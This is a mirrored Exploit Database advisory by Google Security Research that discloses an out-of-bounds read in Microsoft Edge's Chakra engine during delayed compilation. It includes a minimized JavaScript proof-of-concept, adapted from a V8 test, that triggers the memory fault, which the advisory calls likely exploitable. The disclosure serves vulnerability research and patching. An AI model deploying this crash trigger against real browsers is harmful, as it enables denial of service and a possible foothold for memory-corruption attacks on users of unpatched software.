Microsoft Edge – Out-of-Bounds Access when Fetching Source

• Exploit Database
• 131 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42481/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178

  // The attached JavaScript file causes an out-of-bounds access of the source buffer when fetching the source for one of the functions during delayed compilation. The out-of-bounds value is then treated as the pointer to the source. This is likely an exploitable condition.   // In the debug build of Chakra, this script hits the following assert:   // ASSERTION 19041: (/home/user/test_everywhere/ChakraCore/lib/Common/DataStructures/List.h, line 329) index >= 0 && index < this->count // Failure: (index >= 0 && index < this->count) // Illegal instruction (core dumped)   // The attached script is a test case from the v8 (Chrome) test repository, minimized to show the issue.   print = function(){}; (function () {   assertPromiseResult = function(promise, success, fail) {   if (!success) success = () => {};   failWithMessage = (msg) => eval("print(msg)"); if (!fail) { fail = result => failWithMessage("assertPromiseResult failed: " + result); }   var test_promise = promise.then( result => { try { success(result); } catch (e) { failWithMessage(e); } }, result => { fail(result); } ) .then((x)=> { if (--promiseTestCount == 0) testRunner.notifyDone(); });   if (!promiseTestChain) promiseTestChain = Promise.resolve(); // waitUntilDone is idempotent. testRunner.waitUntilDone(); ++promiseTestCount; return promiseTestChain.then(test_promise); };     assertUnoptimized = function assertUnoptimized(fun, sync_opt, name_opt) { if (sync_opt === undefined) sync_opt = ""; var opt_status = OptimizationStatus(fun, sync_opt); // Tests that use assertOptimized() do not make sense if --always-opt // option is provided. Such tests must add --no-always-opt to flags comment. assertFalse((opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0, "test does not make sense with --always-opt"); assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt); if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) { // When --deopt-every-n-times flag is specified it&apos;s no longer guaranteed // that particular function is still deoptimized, so keep running the test // to stress test the deoptimizer. return; } assertFalse((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt); }             assertOptimized = function assertOptimized(fun, sync_opt, name_opt) { if (sync_opt === undefined) sync_opt = ""; var opt_status = OptimizationStatus(fun, sync_opt); // Tests that use assertOptimized() do not make sense if --no-opt // option is provided. Such tests must add --opt to flags comment. assertFalse((opt_status & V8OptimizationStatus.kNeverOptimize) !== 0, "test does not make sense with --no-opt"); assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt); if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) { // When --deopt-every-n-times flag is specified it&apos;s no longer guaranteed // that particular function is still optimized, so keep running the test // to stress test the deoptimizer. return; } assertTrue((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt); }   isNeverOptimize = function isNeverOptimize() { var opt_status = OptimizationStatus(undefined, ""); return (opt_status & V8OptimizationStatus.kNeverOptimize) !== 0; }   isAlwaysOptimize = function isAlwaysOptimize() { var opt_status = OptimizationStatus(undefined, ""); return (opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0; }   isInterpreted = function isInterpreted(fun) { var opt_status = OptimizationStatus(fun, ""); assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, "not a function"); return (opt_status & V8OptimizationStatus.kOptimized) === 0 && (opt_status & V8OptimizationStatus.kInterpreted) !== 0; }   isOptimized = function isOptimized(fun) { var opt_status = OptimizationStatus(fun, ""); assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, "not a function"); return (opt_status & V8OptimizationStatus.kOptimized) !== 0; }   isCrankshafted = function isCrankshafted(fun) { var opt_status = OptimizationStatus(fun, ""); assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, "not a function"); return (opt_status & V8OptimizationStatus.kOptimized) !== 0 && (opt_status & V8OptimizationStatus.kTurboFanned) === 0; }   isTurboFanned = function isTurboFanned(fun) { var opt_status = OptimizationStatus(fun, ""); assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, "not a function"); return (opt_status & V8OptimizationStatus.kOptimized) !== 0 && (opt_status & V8OptimizationStatus.kTurboFanned) !== 0; }   })();     // Copyright 2015 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file.   // Flags: --allow-natives-syntax   assertEquals = print;   var m = (function() { "use asm"; function f(x) { return x < 0; } function g(x) { return 0 < x; } return { f: f, g: g }; })(); var f = m.f; var g = m.g;   var counter = 0;   function deopt(f) { return { toString : function() { print(f); counter++; return "2"; } }; }   assertEquals(false, f(deopt(f))); assertEquals(1, counter);   assertEquals(true, g(deopt(g))); assertEquals(2, counter);   print(f); assertEquals(false, f(deopt(f))); assertEquals(3, counter);   print(g); assertEquals(true, g(deopt(g))); assertEquals(4, counter);